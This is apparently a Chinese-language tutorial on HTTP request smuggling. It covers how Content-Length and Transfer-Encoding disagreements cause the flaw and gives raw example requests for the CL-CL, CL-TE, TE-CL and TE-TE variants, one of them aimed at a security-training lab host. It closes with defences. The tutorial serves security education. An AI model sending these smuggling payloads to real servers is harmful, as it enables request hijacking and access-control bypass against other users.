目录
0x01 简介
0x02 成因
2.1 Keep-Alive
2.2 Pipeline
2.3 Content-Length
2.4 Transfer-Encoding
0x03 分类
0x04. 攻击
4.1. CL不为0的GET请求
4.2 CL-CL
4.3 CL-TE
4.4 TE-CL
4.5. TE-TE
0x05 防御
参考资料:
0x01 简介
HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出,判断HTTP传输过程中是否结束根据二个字段:
- Content-Length
- Transfer-Encoding
0x02 成因
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即
Content-Length
和Transfer-Encoding
标头。
2.1 Keep-Alive
所谓 Keep-Alive,就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive,告诉服务器,接收完这次 HTTP 请求后,不要关闭 TCP 链接,后面对相同目标服务器的 HTTP 请求,重用这一个 TCP 链接,这样只需要进行一次 TCP 握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。
2.2 Pipeline
有了 Keep-Alive 之后,后续就有了 Pipeline,在这里呢,客户端可以像流水线一样发送自己的 HTTP 请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用 Pipeline 的,但是一般的服务器都提供了对 Pipleline 的支持,如图 2-1:
2.3 Content-Length
- CL,请求体或者响应体长度,用十进制表示。字符算一个,CRLF算两个
- 通常如果Content-Length 的值比实际长度小,会造成内容被截断;如果比实体内容大,会造成 pending,也就是等待直到超时。
2.4 Transfer-Encoding
指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 Transfer-Encoding#Directives 和 rfc2616#section-3.6,这里我们只关注
chunked
设置了 Transfer-Encoding: chunked
后,请求主体按一系列块的形式发送,并将省略 Content-Length
。在每个块的开头需要用十六进制数指明当前块的长度,数值后接 \r\n
(占 2 字节),然后是块的内容,再接 \r\n
表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等,格式如下:
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Demo:
0x03 分类
在进行HTTP请求过程中不是所有的 Web 服务器(中间件)都严格遵守规范,就会导致不同的服务器在请求的边界划分上产生分歧,从而导致了请求走私漏洞。比如:
- CLTE:前端服务器使用
Content-Length
头,后端服务器使用Transfer-Encoding
头- TECL:前端服务器使用
Transfer-Encoding
标头,后端服务器使用Content-Length
标头。- TETE:前端和后端服务器都支持
Transfer-Encoding
标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。
0x04. 攻击
4.1. CL不为0的GET请求
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的
Content-Length
头,不进行处理。例如下面这个例子:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
4.2 CL-CL
根据RFC 7230,当服务器收到的请求中包含两个
Content-Length
,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的Content-Length
值时,就会出现漏洞。例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n。
4.3 CL-TE
CL-TE指前端服务器处理
Content-Length
这一请求头,而后端服务器遵守RFC2616的规定,忽略掉Content-Length
,处理Transfer-Encoding
。例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n
4.4 TE-CL
TE-CL指前端服务器处理
Transfer-Encoding
请求头,而后端服务器处理Content-Length
请求头。例如:
以如下请求为例:
POST / HTTP/1.1
Host: ac7f1f821ea8d83280cc5eda009200f6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
17
POST /rook1e HTTP/1.1
0
[空白行]
[空白行]
前置服务器将其分块传输,其实就一个长度为 17 的块 POST /rook1e HTTP/1.1\r\n
,但后端服务器根据 Content-Length: 4
截取到 17\r\n
即认为是一个完整的请求,剩下的留在缓冲区中等待剩余内容,若此时由用户发送了一个 GET,即被拼接成了一个 POST /rook1e 走私请求。
POST /rook1e HTTP/1.1
0
GET / HTTP/1.1
....
4.5. TE-TE
TE-TE指前后端服务器都处理
Transfer-Encoding
请求头,但是在容错性上表现不同,例如有的服务器可能会处理Transfer-encoding
,测试例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
0x05 防御
- 禁用代理服务器与后端服务器之间的 TCP 连接重用
- 使用 HTTP/2 协议
- 前后端使用相同的服务器
- 禁用后端连接重用
- 确保连接中的所有服务器具有相同的配置
- 拒绝有二义性的请求
HTTP/2 中已经没有了产生请求走私的机会:
- 使用二进制编码且分割为更小的传输单位(帧,拥有编号,可乱序传输)
- 同一个来源的所有通信都在一个 TCP 连接上完成,此连接可以承载任意数量的双向数据流
参考资料:
- Smuggling
- 一篇文章带你读懂 HTTP Smuggling 攻击
- 协议层的攻击——HTTP请求走私
- HTTP Desync Attacks: Request Smuggling Reborn
- Exploiting HTTP request smuggling vulnerabilities
- HTTP pipelining
- HTTP/2 简介